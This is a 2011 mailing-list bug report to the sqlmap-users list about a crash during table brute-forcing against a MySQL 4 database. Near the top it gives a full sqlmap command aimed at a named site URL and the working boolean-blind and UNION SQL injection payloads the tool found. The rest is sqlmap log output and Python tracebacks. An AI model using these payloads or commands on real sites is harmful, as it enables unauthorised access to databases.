[sqlmap-users] BUG table brutforce mysql 4
Brought to you by:
inquisb
Menu
▾
▴
[sqlmap-users] BUG table brutforce mysql 4
|
From: <nig...@em...> - 2011-06-07 03:21:09
|
<html><head></head><body bgcolor='#FFFFFF' style='font-size:12px;background-color:#FFFFFF;font-family:Verdana, Arial, sans-serif;'>This Bug is from my laptops sqlmap with python 2.7 The other problem is on another PC with still python 2.6 ;)<br/><br/>sqlmap -u "http://website.com/feed.php?s=os&p=48693" --random-agent --retries=6 --level 5 --risk 3 --common-tables -D Database<br/><br/>Place: GET<br/>Parameter: s<br/> Type: boolean-based blind<br/> Title: AND boolean-based blind - WHERE or HAVING clause<br/> Payload: s=os' AND 611=611 AND 'oBcE'='oBcE&p=48693<br/><br/> Type: UNION query<br/> Title: MySQL UNION query (NULL) - 1 to 10 columns<br/> Payload: s=os' UNION ALL SELECT NULL, NULL, NULL, CONCAT(CHAR(58,99,112,106,58),CHAR(108,106,75,100,77,106<br/>,84,75,97,86),CHAR(58,119,106,120,58)), NULL, NULL, NULL# AND 'sOCX'='sOCX&p=48693<br/>---<br/><br/>[04:52:32] [INFO] manual usage of GET payloads requires url encoding<br/>[04:52:32] [INFO] the back-end DBMS is MySQL<br/><br/>web application technology: PHP 4.4.0, Apache 1.3.33<br/>back-end DBMS: MySQL 4<br/>[04:52:32] [INFO] checking table existence using items from 'C:\pentest\p\sqlmap.0.9-1\txt\comm<br/>on-tables.txt'<br/>[04:52:32] [INFO] adding words used on web page to the check list<br/>please enter number of threads? [Enter for 1 (current)] 3<br/>[04:52:40] [WARNING] if the problem persists with 'None' values please try to use hidden switch --no-cast (fix<br/>ing problems with some collation issues)<br/>[04:53:23] [INFO] tried 74/3452 items (2%)[04:53:24] [CRITICAL] connection timed out to the target url or prox<br/>y, sqlmap is going to retry the request<br/>[04:53:24] [WARNING] if the problem persists please try to lower the number of used threads (--threads)<br/>[04:53:38] [INFO] tried 88/3452 items (3%)<br/>[04:53:39] [WARNING] user aborted during common table existence check. sqlmap will display some tables only<br/>Exception in thread 1:<br/>Traceback (most recent call last):<br/> File "C:\Python27\lib\threading.py", line 532, in __bootstrap_inner<br/> self.run()<br/> File "C:\Python27\lib\threading.py", line 485, in run<br/> self.__target(*self.__args, **self.__kwargs)<br/> File "C:\pentest\p\sqlmap.0.9-1\lib\techniques\brute\use.py", line 76, in tableExistsThread<br/> result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %d FROM %s)", (randomInt(1),<br/> fullTableName)))<br/> File "C:\pentest\p\sqlmap.0.9-1\lib\request\inject.py", line 519, in checkBooleanExpression<br/> value = getValue(unescaper.unescape(expression), expected=EXPECTED.BOOL, suppressOutput=True, expectingNon<br/>e=expectingNone)<br/> File "C:\pentest\p\sqlmap.0.9-1\lib\request\inject.py", line 432, in getValue<br/> value = __goInband(forgeCaseExpression, expected, sort, resumeValue, unpack, dump)<br/> File "C:\pentest\p\sqlmap.0.9-1\lib\request\inject.py", line 386, in __goInband<br/> output = unionUse(expression, unpack=unpack, dump=dump)<br/> File "C:\pentest\p\sqlmap.0.9-1\lib\techniques\inband\union\use.py", line 354, in unionUse<br/> value = __oneShotUnionUse(expression, unpack)<br/> File "C:\pentest\p\sqlmap.0.9-1\lib\techniques\inband\union\use.py", line 72, in __oneShotUni<br/>onUse<br/> page, headers = Request.queryPage(payload, content=True, raise404=False)<br/> File "C:\pentest\p\sqlmap.0.9-1\lib\request\connect.py", line 585, in queryPage<br/> page, headers = Connect.getPage(url=uri, get=get, post=post, cookie=cookie, ua=ua, referer=referer, silent<br/>=silent, method=method, auxHeaders=auxHeaders, response=response, raise404=raise404, ignoreTimeout=timeBasedCo<br/>mpare)<br/> File "C:\pentest\p\sqlmap.0.9-1\lib\request\connect.py", line 439, in getPage<br/> raise sqlmapConnectionException, warnMsg<br/>sqlmapConnectionException: unable to connect to the target url or proxy<br/><br/>Exception in thread 2:<br/>Traceback (most recent call last):<br/> File "C:\Python27\lib\threading.py", line 532, in __bootstrap_inner<br/> self.run()<br/> File "C:\Python27\lib\threading.py", line 485, in run<br/> self.__target(*self.__args, **self.__kwargs)<br/> File "C:\pentest\p\sqlmap.0.9-1\lib\techniques\brute\use.py", line 76, in tableExistsThread<br/> result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %d FROM %s)", (randomInt(1),<br/> fullTableName)))<br/> File "C:\pentest\p\sqlmap.0.9-1\lib\request\inject.py", line 519, in checkBooleanExpression<br/> value = getValue(unescaper.unescape(expression), expected=EXPECTED.BOOL, suppressOutput=True, expectingNon<br/>e=expectingNone)<br/> File "C:\pentest\p\sqlmap.0.9-1\lib\request\inject.py", line 432, in getValue<br/> value = __goInband(forgeCaseExpression, expected, sort, resumeValue, unpack, dump)<br/> File "C:\pentest\p\sqlmap.0.9-1\lib\request\inject.py", line 386, in __goInband<br/> output = unionUse(expression, unpack=unpack, dump=dump)<br/> File "C:\pentest\p\sqlmap.0.9-1\lib\techniques\inband\union\use.py", line 354, in unionUse<br/> value = __oneShotUnionUse(expression, unpack)<br/> File "C:\pentest\p\sqlmap.0.9-1\lib\techniques\inband\union\use.py", line 72, in __oneShotUni<br/>onUse<br/> page, headers = Request.queryPage(payload, content=True, raise404=False)<br/> File "C:\pentest\p\sqlmap.0.9-1\lib\request\connect.py", line 585, in queryPage<br/> page, headers = Connect.getPage(url=uri, get=get, post=post, cookie=cookie, ua=ua, referer=referer, silent<br/>=silent, method=method, auxHeaders=auxHeaders, response=response, raise404=raise404, ignoreTimeout=timeBasedCo<br/>mpare)<br/> File "C:\pentest\p\sqlmap.0.9-1\lib\request\connect.py", line 433, in getPage<br/> return Connect.__getPageProxy(**kwargs)<br/> File "C:\pentest\p\sqlmap.0.9-1\lib\request\connect.py", line 73, in __getPageProxy<br/> return Connect.getPage(**kwargs)<br/> File "C:\pentest\p\sqlmap.0.9-1\lib\request\connect.py", line 439, in getPage<br/> raise sqlmapConnectionException, warnMsg<br/>sqlmapConnectionException: connection timed out to the target url or proxy<br/><br/><br/>[04:53:55] [WARNING] no table(s) found<br/>tables: '{}'<br/><br/>[04:53:55] [INFO] Fetched data logged to text files under 'C:\pentest\p\sqlmap.0.9-1\output\<br/><br/>[*] shutting down at: 04:53:55<br/></body></html> |
